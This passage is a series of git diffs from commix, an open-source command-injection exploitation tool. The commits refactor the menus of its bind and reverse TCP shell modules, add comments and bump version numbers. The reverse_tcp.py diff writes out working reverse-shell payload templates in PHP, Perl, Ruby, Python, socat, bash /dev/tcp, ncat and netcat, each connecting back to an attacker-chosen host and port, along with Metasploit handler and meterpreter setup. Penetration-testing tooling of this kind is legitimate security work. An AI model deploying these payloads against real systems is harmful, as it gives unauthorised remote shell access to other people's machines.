open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + - "set payload " + payload + settings.END_LINE.LF + - "set rhost "+ str(settings.RHOST) + settings.END_LINE.LF + - "set lport "+ str(settings.LPORT) + settings.END_LINE.LF + - "exploit" + settings.END_LINE.LF * 2) + filewrite.write( + "use exploit/multi/handler" + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set rhost " + str(settings.RHOST) + settings.END_LINE.LF + + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2 + ) if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: @@ -281,15 +430,20 @@ def other_bind_shells(separator): if not settings.USER_DEFINED_PYTHON_INTERPRETER: checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + checks.msf_launch_msg(output) + except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + break - # Check for available shell options + + # Check for available shell options. elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): if checks.shell_options(other_shell): return checks.shell_options(other_shell) - # Invalid option + + # Invalid option. else: common.invalid_option(other_shell) continue @@ -300,39 +454,79 @@ def other_bind_shells(separator): Choose type of bind TCP connection. """ def bind_tcp_options(separator): - settings.print_data_to_stdout(Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. """) + # Available bind TCP shell options. + BIND_TCP_OPTIONS = ( + ("1", "use netcat bind TCP shells"), + ("2", "use other bind TCP shells"), + ) + + message = ( + Style.BRIGHT + + "Available bind TCP shell options:" + + Style.RESET_ALL + + "\n" + ) + + for option, description in BIND_TCP_OPTIONS: + message += ( + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + option + + Style.RESET_ALL + + "' for " + + description + + ".\n" + ) + + settings.print_data_to_stdout(message.rstrip()) + while True: - bind_tcp_option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) + bind_tcp_option = _input( + "commix(" + + Style.BRIGHT + + Fore.RED + + "bind_tcp" + + Style.RESET_ALL + + ") > " + ) + if bind_tcp_option.lower() == "bind_tcp": - warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode." + warn_msg = "You are into '" + bind_tcp_option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue - # Option 1 - Netcat shell - elif bind_tcp_option == '1' : + # Option 1 - Netcat shell. + elif bind_tcp_option == '1': bind_tcp_option = netcat_version(separator) + if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: checks.shell_success("bind") break + elif bind_tcp_option.lower() in settings.SHELL_OPTIONS: return bind_tcp_option + else: pass - # Option 2 - Other (Netcat-Without-Netcat) shells - elif bind_tcp_option == '2' : + + # Option 2 - Other bind TCP shells. + elif bind_tcp_option == '2': bind_tcp_option = other_bind_shells(separator) + if settings.EVAL_BASED_STATE != False: - bind_tcp_option = bind_tcp_option.replace("$","\\$") + bind_tcp_option = bind_tcp_option.replace("$", "\\$") + if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: checks.shell_success("bind") break - # Check for available shell options + + # Check for available shell options. elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS): if checks.shell_options(bind_tcp_option): return checks.shell_options(bind_tcp_option) - # Invalid option + + # Invalid option. else: common.invalid_option(bind_tcp_option) continue @@ -343,29 +537,45 @@ def bind_tcp_options(separator): Set up the bind TCP connection """ def configure_bind_tcp(separator): - # Set up rhost for the bind TCP connection + # Set up rhost for the bind TCP connection. while True: settings.print_data_to_stdout(settings.END_LINE.CR + settings.BIND_TCP_SHELL) + option = _input() + if option.lower() == "bind_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue + + # Display bind TCP options. elif option.lower() == "?": menu.bind_tcp_options() continue + + # Exit Commix. elif option.lower() == "quit" or option.lower() == "exit": raise SystemExit() + + # Return to previous shell context. elif option.lower() == "os_shell" or option.lower() == "back": settings.BIND_TCP = False break + + # Switch to reverse TCP mode. elif option.lower() == "reverse_tcp": settings.REVERSE_TCP = True settings.BIND_TCP = False break + + # Continue when required options are set. elif len(settings.LPORT) != 0 and len(settings.RHOST) != 0: break + + # Handle set options. elif option[0:4].lower() == "set ": + + # Set remote host. if option[4:10].lower() == "rhost ": if checks.check_rhost(option[10:]): if len(settings.LPORT) == 0: @@ -374,11 +584,15 @@ def configure_bind_tcp(separator): break else: continue + + # LHOST is not supported in bind TCP mode. elif option[4:10].lower() == "lhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " + err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) continue + + # Set local port. elif option[4:10].lower() == "lport ": if checks.check_lport(option[10:]): if len(settings.RHOST) == 0: @@ -387,9 +601,13 @@ def configure_bind_tcp(separator): break else: continue + + # Invalid set option. else: common.invalid_option(option) pass + + # Invalid option. else: common.invalid_option(option) pass diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 6806460ef3..eca435bed9 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -35,60 +35,114 @@ Set up the netcat reverse TCP connection """ def netcat_version(separator): - - # Defined shell + # Defined shell. shell = "sh" - # Netcat alternatives - NETCAT_ALTERNATIVES = [ + # Netcat alternatives. + NETCAT_ALTERNATIVES = ( "nc", "busybox nc", "nc.traditional", - "nc.openbsd" - ] - - settings.print_data_to_stdout(Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.""") + "nc.openbsd", + ) + + # Available netcat reverse TCP shell options. + NETCAT_OPTIONS = ( + ("1", "use the default Netcat on target host"), + ("2", "use Netcat for Busybox on target host"), + ("3", "use Netcat-Traditional on target host"), + ("4", "use Netcat-Openbsd on target host"), + ) + + message = ( + Style.BRIGHT + + "Available netcat reverse TCP shell options:" + + Style.RESET_ALL + + "\n" + ) + + for option, description in NETCAT_OPTIONS: + message += ( + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + option + + Style.RESET_ALL + + "' to " + + description + + ".\n" + ) + + settings.print_data_to_stdout(message.rstrip()) + while True: - nc_version = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) - # Default Netcat + nc_version = _input( + "commix(" + + Style.BRIGHT + + Fore.RED + + "reverse_tcp_netcat" + + Style.RESET_ALL + + ") > " + ) + + # Default Netcat. if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] break - # Netcat for Busybox - if nc_version == '2': + + # Netcat for Busybox. + elif nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break - # Netcat-Traditional + + # Netcat-Traditional. elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break - # Netcat-Openbsd (nc without -e) + + # Netcat-Openbsd (nc without -e). elif nc_version == '4': nc_alternative = NETCAT_ALTERNATIVES[3] break - # Check for available shell options + + # Check for available shell options. elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): if checks.shell_options(nc_version): return checks.shell_options(nc_version) - # Invalid option + + # Invalid option. else: common.invalid_option(nc_version) continue nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) + # Netcat with -e. if nc_version != '4': - # Netcat with -e - cmd = nc_alternative + settings.SINGLE_WHITESPACE + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e " + shell + cmd = ( + nc_alternative + + settings.SINGLE_WHITESPACE + + settings.LHOST + + settings.SINGLE_WHITESPACE + + settings.LPORT + + " -e " + + shell + ) + + # nc without -e. else: - # nc without -e - cmd = shell + " -c \"" + shell + " 0/tmp/f\"" + cmd = ( + shell + + " -c \"" + + shell + + " 0/tmp/f\"" + ) return cmd @@ -97,80 +151,189 @@ def netcat_version(separator): [1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet """ def other_reverse_shells(separator): - settings.print_data_to_stdout(Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows). -""" + Style.BRIGHT + """Available meterpreter reverse TCP shell options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script.""") + # Generic reverse shell options. + GENERIC_REVERSE_SHELL_OPTIONS = ( + ("1", "use a PHP reverse TCP shell"), + ("2", "use a Perl reverse TCP shell"), + ("3", "use a Ruby reverse TCP shell"), + ("4", "use a Python reverse TCP shell"), + ("5", "use a Socat reverse TCP shell"), + ("6", "use a Bash reverse TCP shell"), + ("7", "use a Ncat reverse TCP shell"), + ("8", "use a Python reverse TCP shell (windows)"), + ) + + # Meterpreter reverse shell options. + METERPRETER_REVERSE_SHELL_OPTIONS = ( + ("9", "use a PHP meterpreter reverse TCP shell"), + ("10", "use a Python meterpreter reverse TCP shell"), + ("11", "use a meterpreter reverse TCP shell (windows)"), + ("12", "use the web delivery script"), + ) + + message = ( + Style.BRIGHT + + "Available generic reverse TCP shell options:" + + Style.RESET_ALL + + "\n" + ) + + for option, description in GENERIC_REVERSE_SHELL_OPTIONS: + message += ( + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + option + + Style.RESET_ALL + + "' to " + + description + + ".\n" + ) + + message += ( + Style.BRIGHT + + "Available meterpreter reverse TCP shell options:" + + Style.RESET_ALL + + "\n" + ) + + for option, description in METERPRETER_REVERSE_SHELL_OPTIONS: + message += ( + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + option + + Style.RESET_ALL + + "' to " + + description + + ".\n" + ) + + settings.print_data_to_stdout(message.rstrip()) + while True: - other_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) + other_shell = _input( + "commix(" + + Style.BRIGHT + + Fore.RED + + "reverse_tcp_other" + + Style.RESET_ALL + + ") > " + ) + # PHP-reverse-shell if other_shell == '1': - other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ - "$proc=proc_open(\"/bin/sh -i\",array(0%3d>$sock,1%3d>$sock,2%3d>$sock),$pipes);'" + other_shell = ( + "php -r '$sock=fsockopen(\"" + + settings.LHOST + + "\"," + + settings.LPORT + + ");" + "$proc=proc_open(\"/bin/sh -i\",array(0%3d>$sock,1%3d>$sock,2%3d>$sock),$pipes);'" + ) break # Perl-reverse-shell elif other_shell == '2': - other_shell = "perl -e 'use Socket;" \ - "$i=\"" + settings.LHOST + "\";" \ - "$p=" + settings.LPORT + ";" \ - "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" \ - "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\");" \ - "open(STDOUT,\">%26S\");open(STDERR,\">%26S\");" \ - "exec(\"/bin/sh -i\");};'" + other_shell = ( + "perl -e 'use Socket;" + "$i=\"" + + settings.LHOST + + "\";" + "$p=" + + settings.LPORT + + ";" + "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" + "if(connect(S,sockaddr_in($p,inet_aton($i)))){" + "open(STDIN,\">%26S\");" + "open(STDOUT,\">%26S\");" + "open(STDERR,\">%26S\");" + "exec(\"/bin/sh -i\");};'" + ) break # Ruby-reverse-shell elif other_shell == '3': - other_shell = "ruby -rsocket -e '" \ - "c=TCPSocket.new(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ - "$stdin.reopen(c);" \ - "$stdout.reopen(c);" \ - "$stderr.reopen(c);" \ - "$stdin.each_line{|l|l=l.strip;" \ - "next if l.length==0;" \ - "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'" + other_shell = ( + "ruby -rsocket -e '" + "c=TCPSocket.new(\"" + + settings.LHOST + + "\"," + + settings.LPORT + + ");" + "$stdin.reopen(c);" + "$stdout.reopen(c);" + "$stderr.reopen(c);" + "$stdin.each_line{|l|l=l.strip;" + "next if l.length==0;" + "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'" + ) break # Python-reverse-shell elif other_shell == '4': if not settings.USER_DEFINED_PYTHON_INTERPRETER: checks.set_python_interpreter() - other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import socket,subprocess,os%0d" \ - "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ - "s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \ - "os.dup2(s.fileno(),0)%0d" \ - "os.dup2(s.fileno(),1)%0d" \ - "os.dup2(s.fileno(),2)%0d" \ - "p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'" + + other_shell = ( + settings.LINUX_PYTHON_INTERPRETER + + " -c 'import socket,subprocess,os%0d" + "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" + "s.connect((\"" + + settings.LHOST + + "\"," + + settings.LPORT + + "))%0d" + "os.dup2(s.fileno(),0)%0d" + "os.dup2(s.fileno(),1)%0d" + "os.dup2(s.fileno(),2)%0d" + "p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'" + ) break # Socat-reverse-shell elif other_shell == '5': - other_shell = "socat tcp-connect:" + settings.LHOST + ":" + settings.LPORT + \ - " exec:\"sh\",pty,stderr,setsid,sigint,sane" + other_shell = ( + "socat tcp-connect:" + + settings.LHOST + + ":" + + settings.LPORT + + " exec:\"sh\",pty,stderr,setsid,sigint,sane" + ) break # Bash-reverse-shell elif other_shell == '6': - tmp_file = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(5)]) - other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \ - " 1>%260 2>%260\" > /tmp/" + tmp_file + settings.SINGLE_WHITESPACE + separator + " /bin/bash /tmp/" + tmp_file + tmp_file = ''.join( + [ + random.choice(string.ascii_letters + string.digits) + for n in xrange(5) + ] + ) + + other_shell = ( + "echo \"/bin/sh 0>/dev/tcp/" + + settings.LHOST + + "/" + + settings.LPORT + + " 1>%260 2>%260\" > /tmp/" + + tmp_file + + settings.SINGLE_WHITESPACE + + separator + + " /bin/bash /tmp/" + + tmp_file + ) break # Ncat-reverse-shell elif other_shell == '7': - other_shell = "ncat " + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e /bin/sh" + other_shell = ( + "ncat " + + settings.LHOST + + settings.SINGLE_WHITESPACE + + settings.LPORT + + " -e /bin/sh" + ) break # Windows Python-reverse-shell @@ -225,7 +388,7 @@ def other_reverse_shells(separator): " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + settings.NO_OUTPUT, shell=True).wait() - with open (output, "r+") as content_file: + with open(output, "r+") as content_file: data = content_file.readlines() data = ''.join(data).replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) @@ -268,10 +431,9 @@ def other_reverse_shells(separator): " LPORT=" + str(settings.LPORT) + " -o " + output + settings.NO_OUTPUT, shell=True).wait() - with open (output, "r") as content_file: + with open(output, "r") as content_file: data = content_file.readlines() data = ''.join(data) - #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. @@ -302,17 +464,42 @@ def other_reverse_shells(separator): checks.windows_only_attack_vector() continue else: - settings.print_data_to_stdout(Style.BRIGHT + """Available powershell injection options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn.""") + message = ( + Style.BRIGHT + + "Available powershell injection options:" + + Style.RESET_ALL + + "\n" + + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + "1" + + Style.RESET_ALL + + "' to use shellcode injection with native x86 shellcode.\n" + + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + "2" + + Style.RESET_ALL + + "' to use TrustedSec's Magic Unicorn." + ) + settings.print_data_to_stdout(message) + while True: - windows_reverse_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) + windows_reverse_shell = _input( + "commix(" + + Style.BRIGHT + + Fore.RED + + "windows_meterpreter_reverse_tcp" + + Style.RESET_ALL + + ") > " + ) + if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): if checks.shell_options(windows_reverse_shell): return checks.shell_options(windows_reverse_shell) - elif windows_reverse_shell == '1' : + elif windows_reverse_shell == '1': output = "powershell_attack.rc" - elif windows_reverse_shell == '2' : + elif windows_reverse_shell == '2': output = "powershell_attack.txt" else: common.invalid_option(windows_reverse_shell) @@ -396,13 +583,43 @@ def other_reverse_shells(separator): # Web delivery script elif other_shell == '12': - settings.print_data_to_stdout(Style.BRIGHT + """Available web delivery script options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows).""") + message = ( + Style.BRIGHT + + "Available web delivery script options:" + + Style.RESET_ALL + + "\n" + + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + "1" + + Style.RESET_ALL + + "' to use Python meterpreter reverse TCP shell.\n" + + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + "2" + + Style.RESET_ALL + + "' to use PHP meterpreter reverse TCP shell.\n" + + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + "3" + + Style.RESET_ALL + + "' to use meterpreter reverse TCP shell (windows)." + ) + settings.print_data_to_stdout(message) + while True: - web_delivery = _input("""commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) - if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): + web_delivery = _input( + "commix(" + + Style.BRIGHT + + Fore.RED + + "web_delivery" + + Style.RESET_ALL + + ") > " + ) + + if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): if checks.shell_options(web_delivery): return checks.shell_options(web_delivery) elif web_delivery == '1': @@ -461,10 +678,12 @@ def other_reverse_shells(separator): checks.msf_launch_msg(output) break break + # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): if checks.shell_options(other_shell): return checks.shell_options(other_shell) + # Invalid option else: common.invalid_option(other_shell) @@ -476,40 +695,79 @@ def other_reverse_shells(separator): Choose type of reverse TCP connection. """ def reverse_tcp_options(separator): + # Available reverse TCP shell options. + REVERSE_TCP_OPTIONS = ( + ("1", "use netcat reverse TCP shells"), + ("2", "use other reverse TCP shells"), + ) + + message = ( + Style.BRIGHT + + "Available reverse TCP shell options:" + + Style.RESET_ALL + + "\n" + ) + + for option, description in REVERSE_TCP_OPTIONS: + message += ( + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + option + + Style.RESET_ALL + + "' for " + + description + + ".\n" + ) + + settings.print_data_to_stdout(message.rstrip()) - settings.print_data_to_stdout(Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells.""") while True: - reverse_tcp_option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) + reverse_tcp_option = _input( + "commix(" + + Style.BRIGHT + + Fore.RED + + "reverse_tcp" + + Style.RESET_ALL + + ") > " + ) + if reverse_tcp_option.lower() == "reverse_tcp": - warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode." + warn_msg = "You are into '" + reverse_tcp_option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue - # Option 1 - Netcat shell - elif reverse_tcp_option == '1' : + # Option 1 - Netcat shell. + elif reverse_tcp_option == '1': reverse_tcp_option = netcat_version(separator) + if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: checks.shell_success("reverse") break + elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS: return reverse_tcp_option + else: pass - # Option 2 - Other (Netcat-Without-Netcat) shells - elif reverse_tcp_option == '2' : + + # Option 2 - Other reverse TCP shells. + elif reverse_tcp_option == '2': reverse_tcp_option = other_reverse_shells(separator) + if settings.EVAL_BASED_STATE != False: - reverse_tcp_option = reverse_tcp_option.replace("$","\\$") + reverse_tcp_option = reverse_tcp_option.replace("$", "\\$") + if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: checks.shell_success("reverse") break - # Check for available shell options + + # Check for available shell options. elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS): if checks.shell_options(reverse_tcp_option): return checks.shell_options(reverse_tcp_option) - # Invalid option + + # Invalid option. else: common.invalid_option(reverse_tcp_option) continue @@ -520,29 +778,45 @@ def reverse_tcp_options(separator): Set up the reverse TCP connection """ def configure_reverse_tcp(separator): - # Set up LHOST for the reverse TCP connection + # Set up LHOST for the reverse TCP connection. while True: settings.print_data_to_stdout(settings.END_LINE.CR + settings.REVERSE_TCP_SHELL) + option = _input() + if option.lower() == "reverse_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue - if option.lower() == "?": + + # Display reverse TCP options. + elif option.lower() == "?": menu.reverse_tcp_options() continue - if option.lower() == "quit" or option.lower() == "exit": + + # Exit Commix. + elif option.lower() == "quit" or option.lower() == "exit": raise SystemExit() + + # Return to previous shell context. elif option.lower() == "os_shell" or option.lower() == "back": settings.REVERSE_TCP = False break + + # Switch to bind TCP mode. elif option.lower() == "bind_tcp": settings.BIND_TCP = True settings.REVERSE_TCP = False break + + # Continue when required options are set. elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0: break + + # Handle set options. elif option[0:4].lower() == "set ": + + # Set local host. if option[4:10].lower() == "lhost ": if checks.check_lhost(option[10:]): if len(settings.LPORT) == 0: @@ -551,11 +825,15 @@ def configure_reverse_tcp(separator): break else: continue + + # RHOST is not supported in reverse TCP mode. elif option[4:10].lower() == "rhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " + err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) continue + + # Set local port. elif option[4:10].lower() == "lport ": if checks.check_lport(option[10:]): if len(settings.LHOST) == 0: @@ -564,13 +842,21 @@ def configure_reverse_tcp(separator): break else: continue + + # Set server port. elif option[4:12].lower() == "srvport ": checks.check_srvport(option[12:]) + + # Set URI path. elif option[4:12].lower() == "uripath ": checks.check_uripath(option[12:]) + + # Invalid set option. else: common.invalid_option(option) pass + + # Invalid option. else: common.invalid_option(option) pass diff --git a/src/utils/settings.py b/src/utils/settings.py index 3e3dfab28d..8665f65bd7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e06a117d05398bc938ed07ca3aa2dcbab1e351ad Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 2 Aug 2026 09:42:27 +0300 Subject: [PATCH 0688/1023] Trivial update --- src/core/injections/controller/checks.py | 26 ++++++++++++++++++++++-- src/utils/settings.py | 2 +- 2 files changed, 25 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 55426b9d43..027f647353 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1507,14 +1507,36 @@ def testable_parameters(url, check_parameters, header_name): def list_tamper_scripts(): info_msg = "Listing available tamper scripts." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.list_tampers: + message = ( + Style.BRIGHT + + "Available tamper scripts:" + + Style.RESET_ALL + + "\n" + ) + for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): content = open(script, "rb").read().decode(settings.DEFAULT_CODEC) match = re.search(r"About:(.*)\n", content) if match: comment = match.group(1).strip() - settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + os.path.basename(script) + Style.RESET_ALL + " - " + comment) - + # Lowercase the first letter of the comment + comment = comment[0].lower() + comment[1:] if comment else comment + script_name = os.path.basename(script) + message += ( + settings.SUB_CONTENT_SIGN_TYPE + + "Use '" + + Style.BRIGHT + + script_name + + Style.RESET_ALL + + "' that " + + comment + + "\n" + ) + + settings.print_data_to_stdout(message.rstrip()) + """ Tamper script checker """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 8665f65bd7..6c84c16fe0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 11a133e406128a97470d2070d7c112d88a6b3c2f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 4 Aug 2026 06:26:28 +0300 Subject: [PATCH 0689/1023] Minor update --- doc/CHANGELOG.md | 4 ++-- src/core/injections/controller/checks.py | 2 +- src/core/requests/headers.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/nested.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/core/tamper/xforwardedfor.py | 2 +- src/utils/settings.py | 2 +- 10 files changed, 11 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c503cb6224..2af7f712dd 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -180,7 +180,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Removed: The "Regsvr32.exe application whitelisting bypass" attack vector has been removed. * Updated: Minor update regarding web delivery script 